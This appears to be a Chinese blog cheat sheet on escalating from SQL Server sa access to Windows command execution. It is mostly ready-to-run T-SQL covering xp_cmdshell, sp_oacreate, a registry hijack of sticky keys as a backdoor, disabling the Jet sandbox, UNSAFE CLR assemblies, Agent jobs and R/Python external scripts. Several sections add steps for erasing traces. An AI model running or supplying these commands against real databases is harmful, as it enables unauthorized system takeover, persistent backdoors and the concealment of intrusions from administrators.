Loading ...
SQL Server 提权

一、基础概念与前提

1. 核心前提

  • 服务器已开启 SQL Server 服务并允许外联

  • 拥有高权限账号(如 sa,对应 sysadmin 角色,为最高权限)

  • 数据库未被降权(部分版本默认降权为 mssql 用户,可能限制操作)

2. 权限判定

  • sysadmin(DBA 权限):最高权限,可执行任意操作 判定命令:select IS_SRVROLEMEMBER('sysadmin');(返回 1 表示拥有)

  • db_owner(dbo 权限):数据库所有者,可执行数据库内大部分操作 判定命令:select IS_SRVROLEMEMBER('db_owner');

  • public 角色:默认角色,权限最低 判定命令:select IS_SRVROLEMEMBER('public');

二、提权方法

1. xp_cmdshell 提权

  • 原理:通过扩展存储过程直接执行系统命令,返回执行结果

  • 适用版本:2000 默认开启,2005 及以上默认禁用

  • 操作步骤

    1. 启用组件(需 sa 权限):

      use master;
      exec sp_configure 'show advanced options', 1;
      RECONFIGURE;
      exec sp_configure 'xp_cmdshell', 1;
      RECONFIGURE;

    2. 执行命令:

      exec master..xp_cmdshell "whoami";

    3. 关闭组件(清理痕迹):

      exec sp_configure 'xp_cmdshell', 0;
      RECONFIGURE;

  • 恢复方法:若组件被删除,可通过 DLL 恢复:

    exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

2. sp_oacreate 提权

  • 原理:调用 WScript.Shell 等 OLE 对象,通过 sp_oamethod 执行系统命令

  • 特点:无回显,需将结果写入文件后读取

  • 操作步骤

    1. 启用组件:

      exec sp_configure 'show advanced options', 1;
      RECONFIGURE;
      exec sp_configure 'Ole Automation Procedures', 1;
      RECONFIGURE;

    2. 执行命令(例:添加用户并写入结果):

      declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
      exec sp_oacreate 'wscript.shell',@ffffffff0x output
      exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
      exec sp_oamethod @exec, 'StdOut', @text out
      exec sp_oamethod @text, 'readall', @str out
      select @str;

3. xp_regwrite 提权

  • 原理:修改 Windows 注册表(如添加启动项、映像劫持)实现提权

  • 典型场景:劫持粘滞键(sethc.exe),替换为 cmd.exe

  • 操作示例

    -- 劫持粘滞键
    exec master..xp_regwrite 
      @rootkey='HKEY_LOCAL_MACHINE',
      @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.EXE',
      @value_name='Debugger',
      @type='REG_SZ',
      @value='c:\windows\system32\cmd.exe';

  • 验证劫持

    exec master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.exe', 'Debugger';

4. 沙盒提权

  • 原理:利用 Access 沙盒机制,通过 openrowset 调用 mdb 文件执行命令

  • 适用条件:32 位系统、存在 jet.oledb.4.0 驱动、sa 权限

  • 操作步骤

    1. 开启分布式查询:

      exec sp_configure 'show advanced options', 1;
      reconfigure;
      exec sp_configure 'Ad Hoc Distributed Queries', 1;
      reconfigure;
    2. 关闭沙盒模式(修改注册表):

      exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
    3. 配置 OLE DB 提供程序属性(适配不同 SQL Server 版本 )

      -- Until SQL Server 2012
      EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
      EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1
      
      -- SQL Server 2014 or later
      EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
      EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
    4. 执行系统命令:

      Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
      'select shell("whoami")');

    5. 恢复配置

      exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
      exec sp_configure 'Ad Hoc Distributed Queries',0;
      reconfigure;

5. CLR 提权

  • 原理:利用 SQL Server 与 .NET CLR 的集成,通过自定义存储过程执行命令

  • 适用版本:2005 及以上

  • 操作步骤

    1. 开启 CLR 集成:

      exec sp_configure 'show advanced options', 1;
      RECONFIGURE;
      exec sp_configure 'clr enabled', 1;
      RECONFIGURE;
      ALTER DATABASE master SET TRUSTWORTHY ON;  -- 标记数据库为可信任
    2. 注册自定义 DLL(含命令执行代码):

      CREATE ASSEMBLY [MyAssembly] FROM 'C:\path\to\your.dll' WITH PERMISSION_SET = UNSAFE;
    3. 创建并执行存储过程:

      CREATE PROCEDURE sp_cmdexec @Command nvarchar(4000)
      AS EXTERNAL NAME [MyAssembly].[StoredProcedures].[Cmdexec];
      exec sp_cmdexec 'whoami';  -- 执行命令
    4. 清理痕迹:

      DROP PROCEDURE sp_cmdexec;
      DROP ASSEMBLY [MyAssembly];

6. Agent Job 提权

  • 原理:通过 SQL Server 代理(SQLSERVERAGENT)创建计划任务执行命令

  • 操作步骤

    1. 启动代理服务:

      exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
    2. 创建任务并执行命令(例:写入结果到文件):

      use msdb;
      exec sp_delete_job null, 'test';  -- 删除同名任务(若存在)
      exec sp_add_job 'test';
      exec sp_add_jobstep null, 'test', null, '1', 'cmdexec', 'cmd /c "whoami > D:\result.txt"';
      exec sp_add_jobserver null, 'test', @@servername;
      exec sp_start_job 'test';  -- 启动任务
    3. 读取结果:

      bulk insert readfile from 'D:\result.txt';
      select * from readfile;

7. 脚本执行提权(R/Python)

  • 原理:利用 SQL Server 2017+ 的机器学习服务,通过外部脚本执行命令

  • 操作步骤

    1. 开启外部脚本权限:

      exec sp_configure 'external scripts enabled', 1;
      RECONFIGURE;
    2. 执行 R 脚本:

      exec sp_execute_external_script
        @language=N'R',
        @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir", intern=T))'
        WITH RESULT SETS (([cmd_out] text));
    3. 执行 Python 脚本:

      exec sp_execute_external_script
        @language=N'Python',
        @script=N'
          import subprocess
          p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
          OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])
        ';
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇